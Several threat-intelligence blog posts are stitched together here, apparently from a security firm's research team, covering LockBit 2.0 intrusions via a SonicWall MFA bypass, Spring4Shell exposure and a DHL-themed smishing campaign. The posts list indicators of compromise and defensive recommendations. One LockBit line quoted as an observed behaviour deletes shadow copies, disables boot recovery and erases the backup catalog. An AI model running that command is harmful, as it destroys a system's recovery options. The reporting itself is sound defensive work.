The list of known malicious IP addresses are listed below, and we posit with high confidence they are utilised by the same threat actor for the following reasons:

  • 91.219.212[.]214 – the first observed exploiting an SQLi vulnerability. This IP address has been reported multiple times as malicious from reputable sources to have conducted suspicious malicious activities, including spam, brute-forcing, web application abuse, and vulnerability exploitation.[1] 
  • 5.206.224[.]246 – the first unsuccessful attempt to login as an administrative user, suggesting that this IP address is associated with 91.219.212[.]214 to obtain and utilise the strong and complex password.
  • 51.91.221[.]111 – which resolves to 213.186.33[.]5 and has been flagged by the security community to be malicious and has served as a command-and-control infrastructure, i.e., Cobalt Strike server.[2]
  • 194.195.91[.]29 – the second observed exploitation of the SQLi vulnerability, with the subsequent login attempt being successful, indicating that the threat actor likely had chained it with the undisclosed zero-day vulnerability.

Initial Access

The threat actor gained access to the victim network by chaining an SQLi vulnerability – one of CVE-2019-7481 or CVE-2021-20028 – with an undisclosed zero-day vulnerability to circumvent the MFA access control of the victim’s SonicWall SRA SSLVPN. Details of the vulnerability chaining are illustrated in the below diagram.

Figure 1 – Holistic vulnerability chaining of SQLi vulnerability with undisclosed post-authentication zero-day vulnerability

Through our systematic method for discovering and analysing attack paths, we were able to replicate the exploited zero-day vulnerability performed by the threat actor. A summary of the undisclosed post-authentication local file inclusion zero-day vulnerability is provided below:

CVE(s)CVE-2022-22279
First Published Date11 March 2022
CVSS v34.9
Affected VersionsSonicWall SMA100 version 9.0.0.9-26sv and earlier.[3]
DescriptionPost-authentication vulnerability that enables threat actors to download the persist.db database on their local device by targeting endpoint’s /cgi-bin/sslvpnclient. extract valid user credentials from the settings.json file, including the username, encrypted passwords, and the TOTP.[4]
Potential ImpactSensitive information disclosure that enables threat actors to circumvent the MFA access control to impersonate valid users and obtain initial access to the victim’s network.
Proof of Concept (PoC) AvailableAt the time of writing, there were no publicly available PoCs identified. DarkLab reported the security vulnerability along with their PoC exploit code to SonicWall’s Product Security Incident Response Team (PSIRT), and on 12 April 2022 observed the release of the advisory acknowledging the vulnerability which we had disclosed.
Exploited in the WildAt the time of writing, this vulnerability is not known to be exploited in the wild.
Patch AvailableNo
Workaround AvailableNo

However, the threat actor required valid user credentials to exploit the post-authentication zero-day vulnerability. Based on this requirement and the victim’s firmware, we identified to two pre-authentication SQLi vulnerabilities – CVE-2019-7841 and CVE-2021-20028 – that the threat actor may have leveraged to obtain a valid session. A summary of these vulnerabilities are provided below:

CVE(s)CVE-2019-7841
First Published Date18 December 2019
CVSS v37.5
Affected VersionsPer SonicWall’s PSIRT, SMA100 version 9.0.0.3 and earlier.[5] However, we noted from a cybersecurity consultancy firm that devices with version 9.0.0.5 firmware and earlier were still vulnerable.[6]
DescriptionPre-authentication SQLi vulnerability in the customerTID parameter which can be exploited remotely. Successful exploitation would allow the threat actor to list active session identifiers for authenticated users in a table named Sessions.[7]
Potential ImpactSensitive information disclosure and initial access under the right conditions (i.e., no MFA access control).
Proof of Concept (PoC) AvailableAt the time of writing, there were no publicly available PoCs identified. However, security researchers have reportedly reproduced the exploit based on samples obtained from in-the-wild exploitation.[8]
Exploited in the WildThis vulnerability has been actively exploited in the wild reportedly since 8 June 2021.[9] SonicWall’s PSIRT published a notification on 13 July 2021 detailing an incident leveraging this vulnerability to perform a targeted ransomware attack.[10]
Patch AvailableYes for organisations running 9.x firmware. No for organisations running unpatched and end-of-life (EOL) 8.x firmware.[11]
Workaround AvailableNo
CVE(s)CVE-2021-20028
First Published Date14 July 2021
CVSS v39.8
Affected VersionsSonicWall SRA appliances running all 8.x firmware, an old version of firmware 9.x (9.0.0.9-26sv or earlier), or version 10.2.0.7.[12] However, we noted from a cybersecurity consultancy firm that devices with version 10.x firmware were potentially vulnerable.[13]
DescriptionPre-authentication SQLi vulnerability in the customerTID parameter which can be exploited remotely. Successful exploitation would allow the threat actor to list active session identifiers for authenticated users in a table named Sessions.[14]
Potential ImpactSensitive information disclosure and initial access under the right conditions (i.e., no MFA access control).
Proof of Concept (PoC) AvailablePer Twitter trails, we understand that the PoC was leaked on paste bins[15] by an alleged DarkSide and LockBit affiliate that goes by the name “Wazawaka” on 25 January 2022.[16] While the leak site is now inaccessible, we noted that security researchers have reportedly reproduced the exploit. [17], [18], and [19]
Exploited in the WildNo known mass exploitation in the wild.
Patch AvailableYes for organisations running 9.x firmware. No for organisations running unpatched and end-of-life (EOL) 8.x firmware.[20]
Workaround AvailableNo

Establishing Persistence

Upon login via the built-in SonicWall SRA SSLVPN administrative account, the threat actor did not require to perform privilege escalation as the threat actor obtained an account which, under the configurations at the time, was integrated with the victim’s Active Directory, and had been assigned domain administrator privileges. Thus, the threat actor cemented their position was to create an Active Directory account “audit” with similar privileges, and proceeded to perform the majority of subsequent malicious activities by leveraging this user.

Discovery

The threat actor transferred the SoftPerfect Network Scanner tool, which is a publicly available network scanner used to discover hostnames and network services, via various network protocols such as Hypertext Transfer Protocol (HTTP), Windows Management Instrumentation (WMI), Simple Network Management Protocol (SNMP), and Secure Shell (SSH).[21] The threat actor was able to launch the scanner to map out the internal network topology and identify additional critical systems.

Filenamenetscan.exe
SHA-256a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789
File typeWin32 EXE
File size16,539,648 bytes

Lateral Movement

Subsequent to identifying the critical systems such as backup servers and the management information system, the threat actor leveraged the stolen administrative account as well as the created account “audit” to initiate a Remote Desktop Connection to access those endpoints.

Defense Evasion

The kavremover tool was staged and executed to disable the endpoint anti-virus solution Kaspersky on the critical systems.[22] This helped to set up the next stage of the campaign, which focuses on the exfiltration of victim data that will later be used for ransom.

Filenamekavremvr.exe
SHA-256c230e6a2a4f4ac182ba04fee875f722a2c9690cb5d678acd5e40a72d5ec1f275
File typeWin32 EXE
File size14,143,976 bytes

In addition, the executable file YDArk.exe was located on selected endpoints. This open source tool was first observed in the wild on 11 June 2020[23], with the commit available on GitHub for download.[24] From public sources, we note that it is a multi-purpose toolkit offered with English and Chinese modules that allow the threat actor to evade defenses through various techniques, including process injection and rootkit.[25] As a result, we posit this tool was downloaded with the intention of disabling the anti-virus solution such as Windows Defender, alongside the kavremover tool.

Exfiltration and Extortion

Initially, the threat actor makes it known to the target network that it has encrypted the network by leaving a ransom note on the impacted systems. In some cases, LockBit affiliates have been observed to stage hacking tools and to exfiltrate data to cloud storage platforms such as AnonFiles that enables users to anonymously access and share contents.[26] and [27]  

Exfiltration and Extortion

Ransomware deployment was observed to have been done manually, with the threat actors executing on the critical servers. Following the execution of Lockbit 2.0, threat actors typically move onto the extortion phase of the campaign, which is broken down into two stages; initial ransom note, and leak website.

FilenameLockBit_9C11F98C309ECD01.exe
SHA-256822b0d7dbf3bd201d6689e19b325b3982356c05bc425578db9aa4ce653deaaa7
File typeWin32 EXE
File size982,528 bytes

We provide a sample of the Lockbit 2.0 ransomware and several behaviours observed in our incident from available logs.

  • The ransomware enumerated connected drives and read the root path of hard drives other than the default C: drive and discovered additional drives connected to the infected system that the ransomware was able to propagate to and encrypt.
  • The ransomware deleted the Volume Shadow Copy Server (VSS), likely by running the following command:
    • C:\Windows\System32\cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
  • Successfully encrypted files from Lockbit 2.0 had their file extension changed to .lockbit. Unlike typical cases, we did not observe the user background being modified using the \REGISTRY\USER\Control Panel\Desktop\Wallpaper registry

Finally, we observed that all the Active Directory accounts were disabled by the threat actor subsequent to the execution of Lockbit 2.0. In performing this action, legitimate users (e.g., administrators) were inhibited access to accounts, thereby delaying the actions that could be taken to restore the impacted systems and network.

Conclusion

Lockbit 2.0 affiliates work on behalf of the Lockbit group to conduct ransomware campaigns against organisations and industries across the globe. The affiliates’ abilities to conduct the intrusion and execution of Lockbit 2.0 ransomware vary, and through these incidents we observed affiliates with a diversified capability and skillset exploit a known SQLi vulnerability in a novel way to circumvent the MFA access control and obtain initial access. Organisations are encouraged to review the TTPs leveraged by LockBit affiliates as a result of our recent incident response experience to improve their preventive and detective controls.

Recommendations

As mentioned in the previous blog post, defending against undisclosed exploits are extremely challenging, but not impossible if organisations adopt a defense-in-depth approach. The following guiding principles should be observed, atop of those already listed in the previous blog post:

  • Implement a robust threat and vulnerability management programme that leverages cyber threat intelligence to achieve a resilient security posture. Specifically, to maintain an inventory of assets, with clear indication of the critical systems and sensitive data, mapped to business owners and the relevant security controls to manage cyber risk.
  • Design, implement, and operate an enterprise security architecture that embeds the concept of zero trust to focus on protecting critical resources (assets, services, workflows, network accounts, etc.), and not specifically just for network segments, as the network location is no longer seen as the prime component to the security posture of the resource.
  • Segment networks where operationally practical to prevent the spread of ransomware by controlling traffic flows between various subnetworks and by restricting adversary lateral movement. Disable unused administrative ports internally, such as Remote Desktop Protocol (RDP).
  • Identify, detect, and investigate abnormal activity and potential traversal of the threat actor across the network, such as through deployment of Endpoint Detection and Response (EDR) tools on critical endpoints, including workstations, laptops and servers.

In addition, we strongly urge organisations that have deployed the vulnerable versions of SonicWall SRA SSLVPN to execute the remediation actions outlined in the previous blog post, if not already completed.  Details can be found here.

MITRE ATT&CK TTPs Leveraged

We include the observed MITRE ATT&CK tactics and techniques elaborated from the incident.

  • Reconnaissance: Active Scanning – Vulnerability Scanning (T1595.002)
  • Reconnaissance: Gather Victim Network Information – IP Addresses (T1590.005)
  • Initial Access: Exploit Public-Facing Application (T1190)
  • Initial Access: Valid Accounts (T1078)
  • Persistence: Account Manipulation (T1098)
  • Persistence: Create Account: Domain Account (T1136.002)
  • Privilege Escalation: Domain Accounts (T1078.002)
  • Defense Evasion: Impair Defenses: Disable or Modify Tools (T1562.001)
  • Defense Evasion: Indicator Removal on Host: File Deletion (T1070.004)
  • Credential Access: Credentials from Password Stores (T1555)
  • Discovery: Network Service Scanning (T1046)
  • Discovery: File and Directory Discovery (T1083)
  • Discovery: Remote System Discovery (T1018)
  • Lateral Movement: Remote Services: Remote Desktop Protocol (T1021.001)
  • Collection: Data from Local System (T1533)
  • Command and Control: Remote File Copy (T1544)
  • Impact: Account Access Removal (T1531)
  • Impact: Data Encrypted for Impact (T1486)
  • Impact: Inhibit System Recovery (T1490)

Indicators of Compromise (IoCs)

We include the observed IoCs elaborated from part one of the blogpost. We will expand this list as we deep-dive into the affiliates’ TTPs as observed from our incident response experience in Q1 2022.

IndicatorType
c230e6a2a4f4ac182ba04fee875f722a2c9690cb5d678acd5e40a72d5ec1f275SHA-256
a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789SHA-256
49bac09d18e35c58180ff08faa95d61f60a22fbb4186c6e8873c72f669713c8cSHA-256
822b0d7dbf3bd201d6689e19b325b3982356c05bc425578db9aa4ce653deaaa7SHA-256
91.219.212[.]214IPv4 Address
5.206.224[.]246IPv4 Address
51.91.221[.]111IPv4 Address
213.186.33[.]5IPv4 Address
194.195.91[.]29IPv4 Address
kavremvr.exeExecutable File
netscan.exeExecutable File
LockBit_9C11F98C309ECD01.exeExecutable File
YDArk.exeExecutable File
.lockbitEncrypted Files Extension
Restore-My-Files[.]txtFilename

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

LockBit 2.0 affiliate’s new SonicWall exploit bypasses MFA

Posted on by darklabhk

Increasing Capabilities of LockBit 2.0 Gang Per Our Incident Response Experience in Q1 2022 Impacts Over One Hundred Hong Kong and Macau Organisations; Exploit Acknowledged by SonicWall as CVE-2022-22279

In the first quarter of 2022, DarkLab responded to several ransomware incidents impacting organisations in the financial services, real estate, and manufacturing sectors across Hong Kong, China and Asia Pacific. In all such incidents, the presence of the LockBit executable file, .lockbit extension files, and the StealBit malware suggests that affiliates of the cybercriminal group that operates the LockBit 2.0 Ransomware-as-a-Service (RaaS) was likely behind the incidents.

LockBit 2.0 RaaS is a well-documented group with established tactics, techniques and procedures (TTPs) that has been active since 2019.[1] During our incident response investigations, we found LockBit affiliates exploiting two victims’ SonicWall Secure Remote Access (SRA) Secure Sockets Layer Virtual Private Network (SSLVPN) appliance to establish a foothold in their networks. In the first instance, the affiliate exploited a known SQL injection (SQLi) vulnerability to obtain valid usernames and passwords. Given the multi-factor authentication (MFA) access control was not enabled, they were able to achieve initial access relatively easily. In the second instance, the affiliate performed follow-up actions to retrieve the time-based one-time password (TOTP) which enabled the circumvention of the MFA access control.

In this blog post we will report on their novel technique to exploit SonicWall SSLVPN appliances and bypass MFA. According to results from open source internet search engines, over one hundred Hong Kong and Macau organisations may be susceptible to this exploit based on their reported use of potentially vulnerable appliances. This exploit disclosed by DarkLab has since been acknowledged by SonicWall as CVE-2022-22279.

A second blog post will then outline the LockBit affiliates’ TTPs as observed in our incident response experience. The final blog post will explore the potential factors that enables the LockBit RaaS group to continue innovating at a rapid pace and cement their position as a major player in the ransomware threat landscape.

Initial Access

The typical modus operandi of LockBit 2.0 affiliates is to gain access to a victim network by exploiting known vulnerabilities of public-facing services, including vulnerable SSLVPN. In particular, CVE-2018-13379 [2] has been the preferred vulnerability in many incidents, including those DarkLab responded to in January and February 2022. The vulnerability is several years old, and LockBit 2.0 affiliates were still able to capitalise on the exploit that allows for unauthenticated users to download system files through crafted HTTP resources requests. Other affiliates have been reported to gain initial access by conducting Remote Desktop Protocol (RDP) brute forcing[3] or through purchasing access to compromised servers via underground markets.[4]

However, in two incidents that DarkLab responded to in March 2022 we observed a new infection vector.  Affiliates were observed to exploit a known but relatively obscure SQLi vulnerability – either CVE-2019-7481 [5] or CVE-2021-20028 [6] – in a novel manner to retrieve user session data stored in the SonicWall SSLVPN appliance to the affiliate’s local endpoint. Retrieved data included valid usernames, passwords, and the TOTP. In doing so, the affiliates could circumvent the MFA access control, impersonate any user to gain initial access, and subsequently deploy ransomware.

Figure 1 – LockBit’s initial attack chain

The latter incidents we responded to in March 2022 were noteworthy for two reasons. First, LockBit affiliates were not reported to have exploited SonicWall SSLVPN products in the past. Second, this was the first publicly observed instance that the known SQLi vulnerability could be exploited by threat actors to extract the TOTP SHA-1 tokens of onboarded users. Affiliates could then generate the QR code containing the required information to generate one time passwords (OTP) in an authenticator app of their choice.[7] This proved to be an innovative way to circumvent the existing MFA access controls. The observation of the exploitation suggests the affiliates of LockBit now have additional tools in their arsenal, and indicates the importance they place in continuous improvement as the group looks to differentiate itself from competitors.

Impact to Hong Kong and Macau

DarkLab replicated and verified the novel exploitation method of the post-authentication vulnerability through internal testing of several known impacted SonicWall SSLVPN firmware. We have shared all relevant details, including the technical exploit code, with the SonicWall Product Security Incident Response Team (PSIRT) in March 2022 to ensure organisations are protected. We will not publicly disclose exact exploitation details to avoid replication by malicious actors.

Per subsequent communications with SonicWall PSIRT, we understood that the upgrades to SonicWall SMA firmware 10.2.0.7-34sv or above, and 9.0.0.10-28sv or above in February 2021 to address CVE-2021-20016 included comprehensive code-strengthening that proactively prevented malicious attackers from exploiting this vulnerability to circumvent the MFA access control.[8] On 12 April 2022, SonicWall PSIRT released the following advisory acknowledging the vulnerability CVE-2022-22279 which we had disclosed.[9]

As of the time of writing, we have not observed from our deep and dark web monitoring any specific intentions by threat actors to leverage this post-authentication vulnerability to target organisations in Hong Kong and Macau. However, we observed that Russian-speaking threat actors had been discussing this vulnerability in early February 2022, with posts from two underground forums – exploit[.]in and xss.[.]is – containing conversation details of purchasing the exploit code and outlining at a high-level the follow-up actions that can be taken to extract the TOTP from the active sessionid. 

Figure 2 – Screenshot of exploit[.]in underground forum
Figure 3 – Screenshot of xss[.]is underground forum

As a result of the LockBit incidents and various hacker chatter, we were concerned that local organisations may have missed SonicWall PSIRT’s advisory note; after all, we still observed compromises that resulted from the exploitation of CVE-2018-13379 on unpatched Fortinet SSLVPN appliances in February 2022. To that end, we conducted a passive, non-intrusive scan of both CVE-2019-7481 or CVE-2021-20028 on the full Internet Protocol address (IP address) range of Hong Kong and Macau. The preliminary results indicated that at least 100 organisations were vulnerable to CVE-2021-20028, with half of those also vulnerable to CVE-2019-7481.

DarkLab has since proactively contacted dozens of potentially affected organisations to alert them of the potential risks they faced. However, given there were a series of critical vulnerabilities pertaining to SonicWall SSLVPN appliances released in June 2021, it is likely that those may be exploited through other innovative methods by threat actors. For example, the Cybersecurity & Infrastructure Security Agency (CISA) listed CVE-2021-20016 as another SQLi vulnerability that allows a remote unauthenticated attacker to perform SQL query to access username password and other session related information in SMA100 build version 10.x. [10], which aligned with our communication with SonicWall’s PSIRT. We foresee that if left unpatched, this could pose a threat that adversaries may exploit to gain unauthorised access through exploitation of this vulnerability.

CVE NumberProductVulnerability NameDate Added to CatalogueShort Description
CVE-2021-20021SonicWall Email SecurityPrivilege Escalation Exploit Chain3 November 2021A vulnerability in version 10.0.9.x allows an attacker to create an administrative account by sending a crafted HTTP request to the remote host.
CVE-2021-20022SonicWall Email SecurityPrivilege Escalation Exploit Chain3 November 2021A vulnerability in version 10.0.9.x allows a post-authenticated attacker to upload an arbitrary file to the remote host.
CVE-2021-20023SonicWall Email SecurityPrivilege Escalation Exploit Chain3 November 2021A vulnerability in version 10.0.9.x allows a post-authenticated attacker to read an arbitrary file on the remote host.
CVE-2021-20016SonicWall SSLVPN SMA100SQL Injection Vulnerability3 November 2021A vulnerability in SMA100 build version 10.x allows a remote unauthenticated attacker to perform SQL query to access username, password and other session related information.
CVE-2021-20018SMA 100 AppliancesStack-Based Buffer Overflow Vulnerability28 January 2022SonicWall SMA 100 devices are vulnerable to an unauthenticated stack-based buffer overflow vulnerability where exploitation can result in code execution.
CVE-2021-20028SonicWall SRASQL Injection Vulnerability28 March 2022SRA products contain an improper neutralisation of a SQL Command leading to SQL injection.
Table 1 – CISA known exploited vulnerabilities catalogue listing various critical SonicWall CVEs that were being exploited in the wild as of 2 April 2022

The ongoing evolution of TTPs allowed LockBit’s affiliates to become the most prolific ransomware actors in 2022. Between 1 January and 31 March 2022, the group claimed 223 victims on their dark web leak site, compared to Conti’s 125. This equates to more than one-third of all known ransomware incidents for Q1 2022. To put it in another way, over the same period LockBit’s affiliates claimed almost 10 percent more victims than the other 24 known ransomware groups combined (223 compared to 164). LockBit’s reported activities have also increased over the course of the first three months of 2022. The gang claimed 112 victims in March, while it published details of 111 companies in the previous two months combined. This suggest an ongoing trend highlighting how LockBit will likely remain the most active ransomware-as-a-service offering for the coming months.

Figure 4 – Number of victims published on ransomware dark web leak sites between 1 January 2022 and 31 March 2022

Conclusion

Lockbit 2.0 affiliates work on behalf of the Lockbit group to conduct ransomware campaigns against organisations and industries across the globe. The affiliates’ abilities to conduct the intrusion and execution of Lockbit 2.0 ransomware vary, and through these incidents we observed affiliates with a diversified capability and skillset exploit a known SQLi vulnerability in a novel way to circumvent the MFA access control and obtain initial access. At least 100 organisations in Hong Kong and Macau are at potential immediate risk, and we foresee that if left unpatched, this could pose a threat that adversaries may exploit to gain unauthorised access through exploitation of this vulnerability. We will continue to monitor the situation and assist organisations as needed. In the next blog post, we will also share further details on the TTPs leveraged by LockBit affiliates as a result of our recent incident response experience with reference to the MITRE ATT&CK Framework, such that organisations can better prevent and detect malicious activities related to this RaaS group.

Recommendations

For organisations that have deployed the vulnerable versions of SonicWall SRA SSLVPN, we recommend the following actions immediately in the following order:

  • Upgrade legacy SRA SSLVPN device(s) running firmware 8.x given they are not supported by SonicWall; apply patches to the impacted versions of the 9.x or 10.x firmware.
  • Reset all user account Active Directory credentials that had previously authenticated via the SonicWall SRA SSLVPN. In particular, the Active Directory credentials that is tied to the SonicWall SRA device for authentication purpose should be changed.
  • Re-bind users’ second authentication factor (e.g., Google or Microsoft Authenticator) app with an updated TOTP, and ensure that users store their newly generated backup codes securely.[11]
  • Review the privileges granted to the Active Directory account tied to the SonicWall SRA device for user authentication purpose, and remove excess permissions where possible to adhere to the principle of least privilege. In general, Domain Administrator privilege should not be used.
  • Perform a review of access management with respect to identity and network access (e.g., removal of legacy and unused accounts, housekeeping of privileges for all accounts, and enforce network segmentation to tighten access to key servers).

Meanwhile, defending against undisclosed exploits are extremely challenging, but not impossible if organisations adopt a defense-in-depth approach. The following guiding principles should be observed:

  • Require multi-factor authentication for all services to the extent possible, especially on external remote services. 
  • Implement a robust threat and vulnerability management programme that leverages cyber threat intelligence to achieve a resilient security posture. Specifically:
    • Maintain regular cybersecurity patching hygiene practices, including a robust baseline that patched known exploited vulnerabilities and aims to reduce known attack surface. 
    • Leverage cyber threat intelligence to prioritise the remediation scale and timeline on a risk-based approach, through the incorporation of indications and warnings regarding trending threats per available proof-of-concept code, active exploitation by threat actors, and Darknet chatter.
  • Maintain “tertiary” offline backups (i.e., tertiary backup) that are encrypted and immutable (i.e., cannot be altered or deleted). This should be atop of your existing secondary data backups that should adopt security best practices, in particular network segmentation with your production and/or primary site.
  • Develop and regularly test the business continuity plan, ensuring that the entire backup, restoration and recovery lifecycle is drilled to ensure the organisation’s operations are not severely interrupted.

MITRE ATT&CK TTPs Leveraged

We include the observed MITRE ATT&CK tactics and techniques elaborated from part one of the blogpost. We will expand this list as we deep-dive into the affiliates’ TTPs as observed from our incident response experience in Q1 2022.

  • Initial Access: Exploit Public-Facing Application (T1190)
  • Initial Access: Valid Accounts (T1078)
  • Impact: Data Encrypted for Impact (T1486)

Indicators of Compromise (IoCs)

We include the observed IoCs elaborated from part one of the blogpost. We will expand this list as we deep-dive into the affiliates’ TTPs as observed from our incident response experience in Q1 2022.

IndicatorType
7fcb724c6f5c392525e287c0728dbeb0MD5
adead34f060586f85114cd5222e8b3a277d563bdSHA-1
822b0d7dbf3bd201d6689e19b325b3982356c05bc425578db9aa4ce653deaaa7SHA-256
LockBit_9C11F98C309ECD01.exeExecutable File
.lockbitEncrypted Files Extension
91.219.212[.]214IPv4 Address
5.206.224[.]246IPv4 Address
51.91.221[.]111IPv4 Address
213.186.33[.]5IPv4 Address
194.195.91[.]29IPv4 Address

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Thousands of organisations in Hong Kong and Macau impacted by Spring Core Remote Code Execution Vulnerability

Posted on by darklabhk

Impacted organisations include financial services and critical infrastructure providers

On 29 March 2022, security researchers posted a now-removed screenshot to Twitter purporting to show a trivially-exploited unauthenticated remote code execution (RCE) vulnerability in the Spring Framework, one of the most popular Java frameworks in use globally.[1] While the screenshot did not include a proof of concept or public details, Proof of Concepts dubbed “SpringShell” or “Spring4Shell” have since emerged since 30 March 2022 and have been validated by DarkLab to be working exploits.[2]

The Spring Framework is among the most widely used lightweight open source framework for Java, as a result of its design philosophy that enables developers to focus on business logic, while simplifying the development cycle of Java enterprise applications.[3] Given its widespread use globally, the nature of the vulnerability being more general such that there may be unknown and additional ways of exploiting it, the impact of this vulnerability is compounded significantly and would be in excess of the impact observed for infamous vulnerabilities such as Log4Shell (CVE-2021-44228).

Technical Analysis

Based on analysis on consolidated data source and technical analysis, DarkLab has been able to recreate the attack in a simulated environment. In order to exploit this vulnerability, an unauthenticated attacker must send a crafted HTTP request to trigger the mechanisms through parameter binding functions of the framework to achieve arbitrary file write, with calls to specific Java ‘classLoader’/’pipeline’ functions. It is likely that the Spring Framework does not handle these calls properly, allowing for arbitrary writing of the JSP web shell to the root directory of the server, which can then be interacted with for unauthenticated remote code execution.

Figure 1 – redacted screenshot of successful simulated exploitation of RCE vulnerability that landed us a JSP web shell at the backend server

DarkLab has been actively performing discovery using our proprietary PoC since 30 March 2022.  As a result of conducting the scan across all external facing applications in Hong Kong and Macau, we observed that over thousands of organisations – including financial services and critical infrastructure providers – are potentially vulnerable to the unauthenticated RCE vulnerability. At the time of writing, the scope of impacted organisations and the broader implications of exploitation are still being estimated and not fully known, as it depends on whether particular functions are used within the Spring application.[4] The general nature of the vulnerability implies there may be other still undiscovered methods to exploit it.

Probability of Exploitation by Threat Actors

Given that this is an unauthenticated RCE vulnerability in the widely-adopted Spring Framework, it is likely that it will present an attractive exploit for a variety of threat actors to weaponize and add to their arsenal for the purpose of obtaining initial access to unsuspecting victims’ systems.

Per DarkLab’s Deep and Dark Web monitoring, we observed on 29 March 2022 that English-speaking threat actors had exchanged messages via Telegram requesting for a working exploit code. While we are unable to ascertain with confidence whether they obtained this information through communication exchange, we observed clear intent from these threat actors to leverage the unauthenticated RCE vulnerability to perform malicious activities against a specific range of targets. This includes exfiltrating sensitive personally identifiable information from South Asian state-owned enterprises, which suggests that these threat actors have a more targeted mindset and are capable of directing their attention to the observed vulnerable organisations in Hong Kong and Macau should it align with their objectives.

While there has not been active exploitation in the wild for Spring4Shell, we posit that threat actors of various objectives – ranging from espionage to financial motivation – will continue to invest resources to explore how best to weaponise the vulnerability to achieve their goals. DarkLab will continue to monitor the Deep and Dark Web for more insights on their innovations and targeting and provide updates as necessary.

Conclusion

In summary, this unauthenticated RCE vulnerability in the widely-adopted Spring Core makes it an attractive proposition for threat actors of all profiles and motivations. In particular, the general nature of the vulnerability implies there may be other ways to exploit it. As a result, we expect threat actors of all motivations will invest resources to innovate new techniques; until then, detection opportunities will remain limited. This implies that teams should first rely on their defense-in-depth security controls to mitigate the known risks, while continuing to track the status of this vulnerability regarding preventive and detective controls as they become publicly available.

Recommendations

Organisations using affected versions 5.3.x should upgrade to 5.3.18+, while versions 5.2.x should upgrade to 5.2.20+. However, there are other workaround solutions for applications that cannot upgrade to the above versions as listed on the Spring blog post.[5]

From a detection perspective, exploitation attempts will require HTTP requests making use of Java classes. As such, filtering for strings such as “class.“, “Class.“, “.class.“, and “.Class.” may detect exploitation attempts.

In addition, we strongly urge our clients to consider the following:

  • Review their application stack to ascertain the scope of impact in preparation for the impending patch to be released.
  • Monitor the official Spring vulnerability report [6] or Git repository for further updates to the patch releases and apply accordingly.[7]
  • Leverage cyber threat intelligence to monitor for further updates to the threat landscape as a result of new information pertaining to the unauthenticated RCE vulnerability.

MITRE ATT&CK TTPs Leveraged

  • Initial Access: Exploit Public-Facing Application (T1190)
  • Execution: Exploitation for Client Execution (T1203)
  • Persistence: Server Software Component – Web Shell (T1505.003)
  • Command and Control: Application Layer Protocol – Web Protocols (T1071.001)

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Smells SMiShy to me…

Posted on by darklabhk

Macau SMS Phishing Unveils Threat Actor Close to Home

On 2 March 2022, Darklab observed SMS phishing (smishing) activity targeting mobile users in Macau. The message masqueraded as the courier service DHL delivering a package to the victim. The intended purpose was to steal victims’ credentials, personally identifiable information (PII), and credit card details.

Smishing campaigns via the fraudulent use of the DHL brand is far from uncommon.[1] Indeed, the Macau Polícia Judiciária issued a notice on 24 February 2022 to warn citizens about fraudsters masquerading as counterfeit courier companies to trick victims into providing their personal information.[2]

However, we were interested in this case as the threat actor behind it had also registered several fake domains masquerading as other reputable companies in Hong Kong and Singapore, such as Hongkong Post and Singapore Post. While we are used to phishing and smishing campaigns globally, when this happens in our virtual backyard it draws our attention as it can pose a real threat to users in Hong Kong, Macau, and Singapore.

Smishing Incident in Macau

The initial malicious SMS message came from a sender named INFO. Recipients are requested to click the provided hyperlink to reschedule the package pick-up date and time as the previous attempt was not delivered successfully.

Figure 1 – Initial SMS phishing message sent to the victim
Figure 2 – Image displaying the fraudulent delivery status

Once the victim has opened the link, a page appearing to be the Hong Kong DHL Express displays a phony delivery schedule page with free text fields that the recipient is supposed to complete to schedule a delivery time. Information requested includes user’s full name, contact number, residential address, city, and postal code.

Figure 3 – image of the phony page requesting the victim into inputting their credentials

After inputting the personal information and clicking the submit button, the victim is redirected to another page that requires them to select their preferred delivery option.

Figure 4 – fraudulent DHL HK page asking victims to proceed to the payment card page

Upon selecting the preferred delivery option, the fraudulent DHL HK site requests for the victim to input financial information, including name, credit card number, expiration date, and CVV number. Once in possession of users’ payment card details, criminals can resell them online or conduct financial fraud themselves.

Figure 5 – Final page designed to capture the victims’ credit card details

Something Smelt Smishy…

The risk of smishing has increased at an alarming rate as a result of the Covid-19 pandemic. While this is not entirely a new trend, we observed that the messages are becoming increasingly deceptive as they look to trick victims into providing their personal information.

What threw us off was the fact that the URL within the smishing text redirected users to the URL hongkong-post[.]net/918srx, which was a Russian IP address – 31[.]28[.]27[.]151 – hosting the fake DHL site. The same IP address also hosted the domain dhl-post[.]hk.  Both malicious domains and their associated SSL certificates were created after 28 February 2022, just a few days before the beginning of the smishing campaign.

Additionally, hongkong-post[.]net had mail exchanger (MX) records, which suggested the threat actors’ intent to send and/or receive emails.[3] We also saw MX records for another domain, singapore-post[.]com, hosted on the same IP address and created on 7 March 2022. Overall, the existence of young domains with MX records mimicking legitimate brands is a strong indication of likely phishing intent, which security teams should be monitoring for.

The historical WHOIS lookup for the domains revealed that the registrar company is NiceNIC INTERNATIONAL GROUP CO., LIMITED (NiceNIC.NET) based in Hong Kong.[4] While pivoting through the Registrar Name and NiceNIC.NET’s Chinese company name “耐思尼克國際集團有限公司”, we observed 21 additional domains associated with this registrar as of 8 March 2022. At least four of the domains (xjam[.]hk, canadahq[.]hk, kaddafi[.]hk, and aij[.]hk) were flagged by security scanners as likely malicious. Furthermore, there were newly registered domains (aididas[.]com[.]hk) that were not yet flagged by security scanners, though strongly looked like a fraudulent website.

Meanwhile, we also observed that canadahq[.]hk had relation resolutions to a known bad Russian IP address 185[.]178[.]208[.]186, which hosted files to download the Trojan “Win32.Trojan.Raasj.Auto”. This Trojan was first observed in 2017 per various open source threat exchange platforms[5], and there are various web posts elaborating the various impacts to the victim.

